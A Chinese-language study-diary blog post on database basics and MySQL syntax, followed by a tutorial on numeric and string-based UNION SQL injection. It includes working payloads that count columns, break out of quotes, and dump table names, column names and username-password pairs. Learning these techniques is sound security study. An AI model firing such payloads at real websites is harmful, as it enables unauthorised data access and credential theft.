寒假学web--day07

简介

今天学习了一些数据库基础和sql注入

什么是sql

sql是一种数据库操作语言,可以快速实现数据的增删改查

create delete update read

CURD操作就是指对数据的增删改查

数据库

关系型数据库

所有的数据按表格形式存放

常见的有:
Oracle

Mysql/MariaDB

SQLServer

Access  mdb文件

Sqlite qq的聊天记录就会存放在本地的sqlite数据库中

非关系型数据库

Membase

MongoDB

sql注入学习

环境

以Mysql/MariaDB为主

使用软件navicat

mysql语法

表名为user,存在字段id,username,password

select username from user;

select * from user;

insert  in to user (username,password) values('abc','null');

update user set password = ‘123456’ where username = 'abc'l

delete from user where id=4;

使用php搭建一个简单的博客网站,连接数据库,实现增删改查功能

待复现......

sql注入

通过控制传入的参数去控制sql语句,进而实现增删改查

数字型注入和union注入

联合查询时,union前后的语句查询的列数要相同,否则会报错,利用这点,我们可以猜出列数

例如:

?id=1 union select 1

如果报错

?id=1 union select 1,2

还报错

?id=1 union select 1,2.3

 如果不报错了,就说明有3列

再配合limit来查数据

比如:

?id=1 union select 1,2,3 limit 1,2

在我们找到回显点之后,就可以替换占位的123,来显示敏感信息

比如

?id=1 union select 1,(user()),3 limit 1,2

?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2

 字符型注入

前面数字型的查询语句为

selcet username,password from user where id=1;

而字符型的是

 select id,title,content from page where id='1';

 如果我们还像字符型那样给id传参,就会被包裹在''内,无法执行sql语句,所以我们需要逃逸出来

比如?id=1' union .... #

现在查询语句就变成了

 select id,title,content from page where id='1' union .... #';

前面用引号闭合,后面用注释符注释掉后面的引号,hackbar中不能直接提交#,需要url编码成%23

 这是单引号的情况,也有可能是双引号,简单测试一下就行

查所有表

?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23

查所有列

?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23

 查内容

?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23

posted @ 2025-01-24 01:10  onehang  阅读(14)  评论(0)    收藏  举报  来源